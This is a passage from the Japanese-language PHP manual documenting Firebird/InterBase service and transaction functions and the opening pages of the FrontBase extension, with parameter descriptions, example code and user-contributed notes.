                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;
?>


サービスマネージャに接続する

  • ≪ ibase_server_info
  • ibase_service_detach ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • サービスマネージャに接続する

ibase_service_attach

(PHP 5, PHP 7 < 7.4.0)

ibase_service_attach — サービスマネージャに接続する

説明

ibase_service_attach ( string $host , string $dba_username , string $dba_password ) : resource|false

パラメータ

host

データベースホストのIPアドレスまたは名前。 '/' とポート番号を追加することでポートを定義できます。 ポートが指定されない場合、3050 が使われます。

dba_username

有効なユーザー名

dba_password

ユーザーのパスワード

返り値

成功時には、Interbase / Firebird へのリンクの識別子を返します。 失敗した場合に false を返します

例

例1 ibase_service_attach() の例

<?php
    // リモートの Firebird サーバにIPアドレスでアタッチ
    if (($service = ibase_service_attach('10.1.1.199', 'sysdba', 'masterkey')) != FALSE) {

        // アタッチ成功
        // サーバのバージョン('LI-V3.0.4.33054 Firebird 3.0'のようなもの)を取得
        $server_version  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION);

        // サーバの実装を取得 ('Firebird/Linux/AMD/Intel/x64' のようなもの)
        $server_implementation = ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);

        // サーバからデタッチ(切断)
        ibase_service_detach($service);

        // 情報を出力
        echo "Server version: " . $server_version . "<br/>";
        echo "Server implementation: " . $server_implementation;
    }
    else {
        // エラー時にはメッセージを出力
        $conn_error = ibase_errmsg();
        die($conn_error);
    }

?>

例2 hostname/port を使った ibase_service_attach() の例

<?php
    // リモートの Firebird サーバに名前とポート3050を使ってアタッチ
    if (($service = ibase_service_attach('FB-SRV-01.contoso.local/3050', 'sysdba', 'masterkey')) != FALSE) {

        // アタッチ成功
        // サーバのバージョン('LI-V3.0.4.33054 Firebird 3.0'のようなもの)を取得
        $server_version  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION);

        // サーバの実装を取得 ('Firebird/Linux/AMD/Intel/x64' のようなもの)
        $server_implementation = ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);

        // サーバからデタッチ(切断)
        ibase_service_detach($service);

        // 情報を出力
        echo "Server version: " . $server_version . "<br/>";
        echo "Server implementation: " . $server_implementation;
    }
    else {
        // エラー時にはメッセージを出力
        $conn_error = ibase_errmsg();
        die($conn_error);
    }

?>

参考

  • ibase_service_detach() - サービスマネージャとの接続を切断する

User Contributed Notes

Paul Vinkenoog 17-Apr-2008 05:46
The previous comment is incorrect. You can connect to the Service Manager as any valid user, and connecting to the Service Manager is not the same as connecting to the security database. However, some of the service functions (which you may subsequently call with the service handle returned by ibase_service_attach) are only available to SYSDBA.
houston_roadrunner at yahoo dot com 19-Apr-2006 09:47
When using this function it looks like you can only use SYSDBA as the user, as you are connecting to the security database. This is a restriction by the interbase/firebird server.
12-Apr-2006 01:58
An example of ibase_service_attach:
<?php
    //attach to the server running on localhost
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        //retrieve server info
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        //detach from server (disconnect)
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;
?>
Should echo something like:

 WI-T2.0.0.12484 Firebird 2.0 Release Candidate 1 / Firebird/x86/Windows NT

Taken/adapted from ibWebAdmin source code


サービスマネージャとの接続を切断する

  • ≪ ibase_service_attach
  • ibase_set_event_handler ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • サービスマネージャとの接続を切断する

ibase_service_detach

(PHP 5, PHP 7 < 7.4.0)

ibase_service_detach — サービスマネージャとの接続を切断する

説明

ibase_service_detach ( resource $service_handle ) : bool

パラメータ

service_handle

データベースサーバへの接続

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ibase_service_detach() の例

<?php
    // リモートの Firebird サーバにIPアドレスでアタッチ
    if (($service = ibase_service_attach('10.1.1.199', 'sysdba', 'masterkey')) != FALSE) {

        // アタッチ成功
        // サーバのバージョン('LI-V3.0.4.33054 Firebird 3.0'のようなもの)を取得
        $server_version  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION);

        // サーバの実装を取得 ('Firebird/Linux/AMD/Intel/x64' のようなもの)
        $server_implementation = ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);

        // サーバからデタッチ(切断)
        if(ibase_service_detach($service) == FALSE) {
            echo "Error on service detach.";
        }
        else {
            echo "Successfully detached from service.";
        }

    }
    else {
        // エラー時にはメッセージを出力
        $conn_error = ibase_errmsg();
        die($conn_error);
    }

?>

User Contributed Notes

There are no user contributed notes for this page.


イベントが発生した際にコールされるコールバック関数を登録する

  • ≪ ibase_service_detach
  • ibase_trans ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • イベントが発生した際にコールされるコールバック関数を登録する

ibase_set_event_handler

(PHP 5, PHP 7 < 7.4.0)

ibase_set_event_handler — イベントが発生した際にコールされるコールバック関数を登録する

説明

ibase_set_event_handler ( callable $event_handler , string $event_name , string ...$even_names ) : resource
ibase_set_event_handler ( resource $connection , callable $event_handler , string $event_name , string ...$event_names ) : resource

この関数は、指定したイベントのハンドラとして PHP ユーザー関数を登録します。

パラメータ

event_handler

コールバックは、データベースから特定のイベントが送信された場合に、 イベント名とリンクリソースを引数としてコールされます。

イベントハンドラがキャンセルされた場合は、 コールバックは false を返す必要があります。 その他の返り値は無視されます。 この関数は、最大 15 のイベントを引数として受け取ります。

event_name

イベントの名前。

event_names

最大で 15 のイベントを指定できます。

返り値

返される値はイベントのリソースです。このリソースは、 ibase_free_event_handler() でイベントハンドラを開放する際に使用可能です。

例

例1 ibase_set_event_handler() の例

<?php

function event_handler($event_name, $link)
{
    if ($event_name == "NEW ORDER") {
        // 新しい注文を処理します
        ibase_query($link, "UPDATE orders SET status='handled'");
    } else if ($event_name == "DB_SHUTDOWN") {
        // イベントハンドラを解放します
        return false;
    }
}

ibase_set_event_handler($link, "event_handler", "NEW_ORDER", "DB_SHUTDOWN");
?>

参考

  • ibase_free_event_handler() - 登録済みのイベントハンドラをキャンセルする
  • ibase_wait_event() - データベースでイベントが発生するのを待つ

User Contributed Notes

There are no user contributed notes for this page.


トランザクションを開始する

  • ≪ ibase_set_event_handler
  • ibase_wait_event ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • トランザクションを開始する

ibase_trans

(PHP 5, PHP 7 < 7.4.0)

ibase_trans — トランザクションを開始する

説明

ibase_trans ( int $trans_args = ? , resource $link_identifier = ? ) : resource
ibase_trans ( resource $link_identifier = ? , int $trans_args = ? ) : resource

トランザクションを開始します。

注意:

ibase_trans() を最初にコールした際には、接続の
デフォルトのトランザクションを返しません。ibase_trans()
によって開始されたすべてのトランザクションは、ibase_commit()
や ibase_rollback() を使用してコミットあるいは
ロールバックを明示的に行わない限り、スクリプトの終了時に自動的に
ロールバックされます。

注意:

この関数は複数の trans_args および link_identifier を指定することが可能です。これにより、 複数のデータベース接続にまたがるトランザクションを扱えるようになり、 2 フェーズコミット機能を使用したコミットが可能になります。つまり、複数の データベースの更新内容が成功したか失敗したかによる判断ができるということです。 これは、ひとつのクエリで異なるデータベースのテーブルを同時に使用できるという ことではありません!

複数データベースにまたがるトランザクションを使用する場合、 ibase_query() および ibase_prepare() をコールする際には link_id および transaction_id の両方を指定する必要があります。

パラメータ

trans_args

trans_args は、以下の IBASE_READ、 IBASE_WRITE、 IBASE_COMMITTED、 IBASE_CONSISTENCY、 IBASE_CONCURRENCY、 IBASE_REC_VERSION、 IBASE_REC_NO_VERSION、 IBASE_WAIT および IBASE_NOWAIT の組み合わせとなります。

link_identifier

InterBase リンク ID。省略した場合は、 最後にオープンしたリンクを使用します。

返り値

トランザクションハンドル、あるいはエラー時に false を返します。

User Contributed Notes

marti at delfos dot net 06-Jun-2018 10:18
Prevent lock conflicts example:

$db = ibase_connect( ... );
$tr = ibase_trans(IBASE_COMMITTED + IBASE_NOWAIT, $db);
$result = ibase_query($tr, $sql);
ibase_commit($tr);
ibase_close($dh);
chAlx 16-Dec-2011 01:42
Note that on some platforms ibase_trans($dbh), ibase_trans(IBASE_DEFAULT, $dbh) and ibase_trans($dbh, IBASE_DEFAULT) are not the same, but will run without errors in most cases.
jon at tgpsolutions dot com 11-Jul-2002 06:56
When using transactions, you must execute queries using the transaction identifier as the link_identifier in ibase_query.

Example:

$db = ibase_connect( ... );
$tr = ibase_trans();
$result = ibase_query($tr, $sql1);
$result = ibase_query($tr, $sql2);
ibase_rollback($tr);

You must use ibase_query($tr, $sql1).  Calling ibase_query($db, $sql1) will not allow you to roll back - it will be commited when the script finishes executing.


データベースでイベントが発生するのを待つ

  • ≪ ibase_trans
  • FrontBase ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • データベースでイベントが発生するのを待つ

ibase_wait_event

(PHP 5, PHP 7 < 7.4.0)

ibase_wait_event — データベースでイベントが発生するのを待つ

説明

ibase_wait_event ( string $event_name , string ...$event_names ) : string
ibase_wait_event ( resource $connection , string $event_name , string ...$event_names ) : string

この関数は、指定したイベントのうちのひとつがデータベースで発生するまで スクリプトの実行を停止します。発生したイベントの名前を返します。 この関数は、最大 15 のイベントを指定可能です。

パラメータ

event_name

イベントの名前。

event_names

返り値

発生したイベントの名前を返します。

参考

  • ibase_set_event_handler() - イベントが発生した際にコールされるコールバック関数を登録する
  • ibase_free_event_handler() - 登録済みのイベントハンドラをキャンセルする

User Contributed Notes

There are no user contributed notes for this page.


FrontBase

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • FrontBase 関数
    • fbsql_affected_rows — 直近の FrontBase 操作により変更されたレコードの数を得る
    • fbsql_autocommit — autocommit を有効または無効にする
    • fbsql_blob_size — BLOB の大きさを取得する
    • fbsql_change_user — アクティブな接続にログインしているユーザーを変更する
    • fbsql_clob_size — CLOB の大きさを取得する
    • fbsql_close — FrontBase 接続を閉じる
    • fbsql_commit — データベースへのトランザクションをコミットする
    • fbsql_connect — FrontBase サーバーへの接続をオープンする
    • fbsql_create_blob — BLOB を作成する
    • fbsql_create_clob — CLOB を作成する
    • fbsql_create_db — FrontBase データベースを作成する
    • fbsql_data_seek — 内部結果ポインタを移動する
    • fbsql_database_password — FrontBase データベースのパスワードを設定または取得する
    • fbsql_database — 接続で使用するデータベース名を取得あるいは設定する
    • fbsql_db_query — FrontBase クエリを送信する
    • fbsql_db_status — 指定したデータベースの状態を取得する
    • fbsql_drop_db — FrontBase データベースを破棄(削除)する
    • fbsql_errno — 前の FrontBase 操作によるエラーメッセージの数値を返す
    • fbsql_error — 前の FrontBase 操作によるエラーメッセージの文字列を返す
    • fbsql_fetch_array — 連想配列、数値配列、またはその両方として結果レコードを取得する
    • fbsql_fetch_assoc — 連想配列として結果レコードを取得する
    • fbsql_fetch_field — 結果からカラム情報を得て、オブジェクトとして返す
    • fbsql_fetch_lengths — 結果の各出力の長さを得る
    • fbsql_fetch_object — オブジェクトとして結果レコードを取得する
    • fbsql_fetch_row — 数値配列として結果レコードを得る
    • fbsql_field_flags — クエリ結果において指定したフィールドに関するフラグを得る
    • fbsql_field_len — 指定したフィールドの長さを返す
    • fbsql_field_name — 結果の指定したフィールドの名前を得る
    • fbsql_field_seek — 指定したフィールドオフセットに結果ポインタを設定する
    • fbsql_field_table — 指定したフィールドがあるテーブルの名前を得る
    • fbsql_field_type — 結果の中で指定したフィールドの型を得る
    • fbsql_free_result — 結果メモリを開放する
    • fbsql_get_autostart_info — 説明
    • fbsql_hostname — 接続で使用されているホスト名を取得あるいは設定する
    • fbsql_insert_id — 直近の INSERT 処理により生成された ID を得る
    • fbsql_list_dbs — FrontBase サーバーで利用可能なデータベースの一覧を得る
    • fbsql_list_fields — FrontBase 結果フィールドの一覧を得る
    • fbsql_list_tables — FrontBase データベースのテーブル一覧を得る
    • fbsql_next_result — 内部結果ポインタを次の結果に移動する
    • fbsql_num_fields — 結果のフィールド数を得る
    • fbsql_num_rows — 結果のレコード数を得る
    • fbsql_password — 接続に対して使用するユーザーパスワードを取得あるいは設定する
    • fbsql_pconnect — FrontBase サーバーへの持続的接続をオープンする
    • fbsql_query — FrontBase クエリを送信する
    • fbsql_read_blob — データベースから BLOB を読み込む
    • fbsql_read_clob — データベースから CLOB を読み込む
    • fbsql_result — 結果データを得る
    • fbsql_rollback — データベースへのトランザクションをロールバックする
    • fbsql_rows_fetched — 直近の文で影響をうけた行の数を取得する
    • fbsql_select_db — FrontBase データベースを選択する
    • fbsql_set_characterset — 入出力文字セットを変更する
    • fbsql_set_lob_mode — FrontBase 結果セットの LOB 取得モードを設定する
    • fbsql_set_password — 指定したユーザーのパスワードを変更する
    • fbsql_set_transaction — トランザクションのロックと分離レベルを設定する
    • fbsql_start_db — ローカルまたはリモートサーバーのデータベースを開始する
    • fbsql_stop_db — ローカルまたはリモートサーバーのデータベースを停止する
    • fbsql_table_name — フィールドのテーブル名を得る
    • fbsql_tablename — fbsql_table_name のエイリアス
    • fbsql_username — 接続に使用するホストユーザーを取得あるいは設定する
    • fbsql_warnings — FrontBase 警告を有効または無効にする

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このモジュールの関数により、FrontBase データベースサーバーに アクセスすることが可能になります。FrontBase に関する詳細については、» http://www.frontbase.com/ で入手可能です。

FrontBase に関するドキュメントは、» http://www.frontbase.com/cgi-bin/WebObjects/FBWebSite.woa から入手可能です。

注意:

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.


要件

この関数を使用するには、FrontBase データベースサーバーまたは少なくとも fbsql クライアントライブラリをインストールする必要があります。 » http://www.frontbase.com/ から FrontBase を 取得することができます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 5.3.0

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。.

これらの関数を使用するには、オプション --with-fbsql[=DIR] を使用し、fbsql のサポートを有効にして PHP をコンパイルする必要があります。 fbsql へのパスを指定せずにこのオプションを 使用した場合、PHP は fbsql クライアントライブラリをそのプラットフォームの デフォルトのインストール位置で探します。FrontBase を標準以外の 場所にインストールしているユーザーは、必ず次のように fbsql　へのパスを 指定する必要があります。 --with-fbsql=/path/to/fbsql これにより、PHP は、間違いなく FrontBase によりインストールされた クライアントライブラリを探すことができるようになります。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

FrontBase configuration options
名前 | デフォルト | 変更可能 | 変更履歴
fbsql.allow_persistent | "1" | PHP_INI_SYSTEM |
fbsql.generate_warnings | "0" | PHP_INI_SYSTEM |
fbsql.autocommit | "1" | PHP_INI_SYSTEM |
fbsql.max_persistent | "-1" | PHP_INI_SYSTEM |
fbsql.max_links | "128" | PHP_INI_SYSTEM |
fbsql.max_connections | "128" | PHP_INI_SYSTEM |
fbsql.max_results | "128" | PHP_INI_SYSTEM |
fbsql.batchSize | "1000" | PHP_INI_SYSTEM | Removed in PHP 5.1.0.
fbsql.default_host | NULL | PHP_INI_SYSTEM |
fbsql.default_user | "_SYSTEM" | PHP_INI_SYSTEM |
fbsql.default_password | "" | PHP_INI_SYSTEM |
fbsql.default_database | "" | PHP_INI_SYSTEM |
fbsql.default_database_password | "" | PHP_INI_SYSTEM |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

FBSQL_ASSOC (int)
FBSQL_NUM (int)
FBSQL_BOTH (int)
FBSQL_LOCK_DEFERRED (int)
FBSQL_LOCK_OPTIMISTIC (int)
FBSQL_LOCK_PESSIMISTIC (int)
FBSQL_ISO_READ_UNCOMMITTED (int)
FBSQL_ISO_READ_COMMITTED (int)
FBSQL_ISO_REPEATABLE_READ (int)
FBSQL_ISO_SERIALIZABLE (int)
FBSQL_ISO_VERSIONED (int)
FBSQL_UNKNOWN (int)
FBSQL_STOPPED (int)
FBSQL_STARTING (int)
FBSQL_RUNNING (int)
FBSQL_STOPPING (int)
FBSQL_NOEXEC (int)
FBSQL_LOB_DIRECT (int)
FBSQL_LOB_HANDLE (int)

User Contributed Notes

There are no user contributed notes for this page.


FrontBase 関数

目次

  • fbsql_affected_rows — 直近の FrontBase 操作により変更されたレコードの数を得る
  • fbsql_autocommit — autocommit を有効または無効にする
  • fbsql_blob_size — BLOB の大きさを取得する
  • fbsql_change_user — アクティブな接続にログインしているユーザーを変更する
  • fbsql_clob_size — CLOB の大きさを取得する
  • fbsql_close — FrontBase 接続を閉じる
  • fbsql_commit — データベースへのトランザクションをコミットする
  • fbsql_connect — FrontBase サーバーへの接続をオープンする
  • fbsql_create_blob — BLOB を作成する
  • fbsql_create_clob — CLOB を作成する
  • fbsql_create_db — FrontBase データベースを作成する
  • fbsql_data_seek — 内部結果ポインタを移動する
  • fbsql_database_password — FrontBase データベースのパスワードを設定または取得する
  • fbsql_database — 接続で使用するデータベース名を取得あるいは設定する
  • fbsql_db_query — FrontBase クエリを送信する
  • fbsql_db_status — 指定したデータベースの状態を取得する
  • fbsql_drop_db — FrontBase データベースを破棄(削除)する
  • fbsql_errno — 前の FrontBase 操作によるエラーメッセージの数値を返す
  • fbsql_error — 前の FrontBase 操作によるエラーメッセージの文字列を返す
  • fbsql_fetch_array — 連想配列、数値配列、またはその両方として結果レコードを取得する
  • fbsql_fetch_assoc — 連想配列として結果レコードを取得する
  • fbsql_fetch_field — 結果からカラム情報を得て、オブジェクトとして返す
  • fbsql_fetch_lengths — 結果の各出力の長さを得る
  • fbsql_fetch_object — オブジェクトとして結果レコードを取得する
  • fbsql_fetch_row — 数値配列として結果レコードを得る
  • fbsql_field_flags — クエリ結果において指定したフィールドに関するフラグを得る
  • fbsql_field_len — 指定したフィールドの長さを返す
  • fbsql_field_name — 結果の指定したフィールドの名前を得る
  • fbsql_field_seek — 指定したフィールドオフセットに結果ポインタを設定する
  • fbsql_field_table — 指定したフィールドがあるテーブルの名前を得る
  • fbsql_field_type — 結果の中で指定したフィールドの型を得る
  • fbsql_free_result — 結果メモリを開放する
  • fbsql_get_autostart_info — 説明
  • fbsql_hostname — 接続で使用されているホスト名を取得あるいは設定する
  • fbsql_insert_id — 直近の INSERT 処理により生成された ID を得る
  • fbsql_list_dbs — FrontBase サーバーで利用可能なデータベースの一覧を得る
  • fbsql_list_fields — FrontBase 結果フィールドの一覧を得る
  • fbsql_list_tables — FrontBase データベースのテーブル一覧を得る
  • fbsql_next_result — 内部結果ポインタを次の結果に移動する
  • fbsql_num_fields — 結果のフィールド数を得る
  • fbsql_num_rows — 結果のレコード数を得る
  • fbsql_password — 接続に対して使用するユーザーパスワードを取得あるいは設定する
  • fbsql_pconnect — FrontBase サーバーへの持続的接続をオープンする
  • fbsql_query — FrontBase クエリを送信する
  • fbsql_read_blob — データベースから BLOB を読み込む
  • fbsql_read_clob — データベースから CLOB を読み込む
  • fbsql_result — 結果データを得る
  • fbsql_rollback — データベースへのトランザクションをロールバックする
  • fbsql_rows_fetched — 直近の文で影響をうけた行の数を取得する
  • fbsql_select_db — FrontBase データベースを選択する
  • fbsql_set_characterset — 入出力文字セットを変更する
  • fbsql_set_lob_mode — FrontBase 結果セットの LOB 取得モードを設定する
  • fbsql_set_password — 指定したユーザーのパスワードを変更する
  • fbsql_set_transaction — トランザクションのロックと分離レベルを設定する
  • fbsql_start_db — ローカルまたはリモートサーバーのデータベースを開始する
  • fbsql_stop_db — ローカルまたはリモートサーバーのデータベースを停止する
  • fbsql_table_name — フィールドのテーブル名を得る
  • fbsql_tablename — fbsql_table_name のエイリアス
  • fbsql_username — 接続に使用するホストユーザーを取得あるいは設定する
  • fbsql_warnings — FrontBase 警告を有効または無効にする

User Contributed Notes

There are no user contributed notes for this page.


直近の FrontBase 操作により変更されたレコードの数を得る

  • ≪ FrontBase 関数
  • fbsql_autocommit ≫
  • PHP Manual
  • FrontBase 関数
  • 直近の FrontBase 操作により変更されたレコードの数を得る

fbsql_affected_rows

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_affected_rows — 直近の FrontBase 操作により変更されたレコードの数を得る

説明

fbsql_affected_rows ( resource $link_identifier = ? ) : int

fbsql_affected_rows() は、 link_identifier が指す接続において 直近の INSERT、UPDATE、DELETE クエリで変更されたレコードの数を返します。

注意:

トランザクションを使用している場合、コミットの後ではなくINSERT、 UPDATE、DELETE クエリの後で fbsql_affected_rows() をコールする必要があります。

直近のクエリが WHERE 句のない DELETE クエリの場合、全てのレコードが テーブルから削除されますが、この関数はゼロを返します。

注意:

UPDATE を使用する場合、FrontBase は新しい値が古い値と同じ場合には カラムを更新しません。このため、 fbsql_affected_rows() は、実際にはマッチした 行の数と一致しない可能性があり、クエリにより実際に変更された行の 数だけとなります。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

直近のクエリが失敗した場合、この関数は -1 を返します。

参考

  • fbsql_num_rows() - 結果のレコード数を得る

User Contributed Notes

There are no user contributed notes for this page.


autocommit を有効または無効にする

  • ≪ fbsql_affected_rows
  • fbsql_blob_size ≫
  • PHP Manual
  • FrontBase 関数
  • autocommit を有効または無効にする

fbsql_autocommit

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_autocommit — autocommit を有効または無効にする

説明

fbsql_autocommit ( resource $link_identifier , bool $OnOff = ? ) : bool

autocommit の状態を返します。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

OnOff

このオプションのパラメータを指定すると、 オートコミットステータスは変更されます。

OnOff を true に設定すると、 エラーがない場合に各命令が自動的にコミットされます。

OnOff を false に設定すると、ユーザーは fbsql_commit() あるいは fbsql_rollback() によりコミットまたはロールバックを行う必要があります。

返り値

現在の autocommit の状態を boolean 値で返します。

参考

  • fbsql_commit() - データベースへのトランザクションをコミットする
  • fbsql_rollback() - データベースへのトランザクションをロールバックする

User Contributed Notes

There are no user contributed notes for this page.


BLOB の大きさを取得する

  • ≪ fbsql_autocommit
  • fbsql_change_user ≫
  • PHP Manual
  • FrontBase 関数
  • BLOB の大きさを取得する

fbsql_blob_size

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0)

fbsql_blob_size — BLOB の大きさを取得する

説明

fbsql_blob_size ( string $blob_handle , resource $link_identifier = ? ) : int

指定した BLOB の大きさを返します。

パラメータ

blob_handle

fbsql_create_blob() が返す BLOB ハンドル。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

BLOB の大きさを整数値で返します。エラー時には false を返します。

参考

  • fbsql_clob_size() - CLOB の大きさを取得する

User Contributed Notes

There are no user contributed notes for this page.


アクティブな接続にログインしているユーザーを変更する

  • ≪ fbsql_blob_size
  • fbsql_clob_size ≫
  • PHP Manual
  • FrontBase 関数
  • アクティブな接続にログインしているユーザーを変更する

fbsql_change_user

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_change_user — アクティブな接続にログインしているユーザーを変更する

説明

fbsql_change_user ( string $user , string $password , string $database = ? , resource $link_identifier = ? ) : bool

fbsql_change_user() は、指定した接続にログインするユーザーを変更します。 ユーザーおよびパスワードの認証に失敗した場合は、現在の接続ユーザーがアクティブなままとなります。

パラメータ

user

新しいユーザー名。

password

新しいユーザーのパスワード。

database

指定した場合、これがユーザー変更後のデフォルトまたはカレントデータベースとなります。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


CLOB の大きさを取得する

  • ≪ fbsql_change_user
  • fbsql_close ≫
  • PHP Manual
  • FrontBase 関数
  • CLOB の大きさを取得する

fbsql_clob_size

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0)

fbsql_clob_size — CLOB の大きさを取得する

説明

fbsql_clob_size ( string $clob_handle , resource $link_identifier = ? ) : int

指定した CLOB の大きさを取得します。

パラメータ

clob_handle

fbsql_create_clob() が返す CLOB ハンドル。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

CLOB の大きさを整数値で返します。エラー時には false を返します。

参考

  • fbsql_blob_size() - BLOB の大きさを取得する

User Contributed Notes

There are no user contributed notes for this page.


FrontBase 接続を閉じる

  • ≪ fbsql_clob_size
  • fbsql_commit ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase 接続を閉じる

fbsql_close

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_close — FrontBase 接続を閉じる

説明

fbsql_close ( resource $link_identifier = ? ) : bool

指定したリンク ID に関連する FrontBase サーバーへの接続を閉じます。

持続的でないオープンされたリンクは、スクリプト実行終了時に自動的に クローズされるため、fbsql_close() は通常は不要です。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 fbsql_close() の例

<?php
$link = fbsql_connect("localhost", "_SYSTEM", "secret")
    or die("接続できません");
echo "接続に成功しました";
fbsql_close($link);
?>

参考

  • fbsql_connect() - FrontBase サーバーへの接続をオープンする
  • fbsql_pconnect() - FrontBase サーバーへの持続的接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


データベースへのトランザクションをコミットする

  • ≪ fbsql_close
  • fbsql_connect ≫
  • PHP Manual
  • FrontBase 関数
  • データベースへのトランザクションをコミットする

fbsql_commit

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_commit — データベースへのトランザクションをコミットする

説明

fbsql_commit ( resource $link_identifier = ? ) : bool

ディスクへの insert、update、 delete を全て書き込んでトランザクションを終了し、トランザクションにより 保持された全ての行及びテーブルのロックを解除します。このコマンドは、 autocommit が false に設定されている場合のみ必要です。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fbsql_autocommit() - autocommit を有効または無効にする
  • fbsql_rollback() - データベースへのトランザクションをロールバックする

User Contributed Notes

There are no user contributed notes for this page.


FrontBase サーバーへの接続をオープンする

  • ≪ fbsql_commit
  • fbsql_create_blob ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase サーバーへの接続をオープンする

fbsql_connect

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_connect — FrontBase サーバーへの接続をオープンする

説明

fbsql_connect
 ( string $hostname = ini_get("fbsql.default_host")
, string $username = ini_get("fbsql.default_user")
, string $password = ini_get("fbsql.default_password")
) : resource

fbsql_connect() は、FrontBase サーバーへの接続を確立します。

同じ引数で fbsql_connect() が 2 度目に コールされた場合、新規のリンクは確立されず、替わりに既に オープンされているリンク ID が返されます。

fbsql_close() をコールすることにより事前に 明示的にクローズされていない限り、サーバーへのリンクはスクリプトの 実行終了時にクローズされます。

パラメータ

hostname

サーバーのホスト名。

username

接続用のユーザー名。

password

接続用のパスワード。

返り値

成功時に正の FrontBase リンク ID、エラー時に false を返します。

例

例1 fbsql_connect() の例

<?php

$link = fbsql_connect("localhost", "_SYSTEM", "secret")
    or die("接続できません");
echo "接続に成功しました";
fbsql_close($link);

?>

参考

  • fbsql_pconnect() - FrontBase サーバーへの持続的接続をオープンする
  • fbsql_close() - FrontBase 接続を閉じる

User Contributed Notes

There are no user contributed notes for this page.


BLOB を作成する

  • ≪ fbsql_connect
  • fbsql_create_clob ≫
  • PHP Manual
  • FrontBase 関数
  • BLOB を作成する

fbsql_create_blob

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0)

fbsql_create_blob — BLOB を作成する

説明

fbsql_create_blob ( string $blob_data , resource $link_identifier = ? ) : string

指定したデータから BLOB を作成します。

パラメータ

blob_data

BLOB データ。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

新しく作成した BLOB のリソースハンドルを返します。 これを insert や update コマンドで使用すると、 データベースに BLOB を保存することができます。

例

例1 fbsql_create_blob() の例

<?php
